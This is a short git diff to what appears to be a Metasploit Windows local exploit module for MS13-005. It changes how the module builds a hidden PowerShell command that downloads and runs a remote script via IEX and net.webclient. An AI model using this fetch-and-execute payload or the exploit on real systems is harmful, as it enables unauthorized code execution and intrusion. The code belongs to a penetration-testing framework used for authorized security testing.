diff --git a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb index 92f2e46e3c..765a73f51c 100644 --- a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb +++ b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb @@ -171,7 +171,11 @@ class Metasploit3 < Msf::Exploit::Local def primer url = get_uri() download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))" - command = "powershell.exe -w hidden -nop -c #{download_and_run}" + command = generate_psh_command_line({ + :noprofile => true, + :windowstyle => 'hidden', + :command => download_and_run + }) make_it(command) end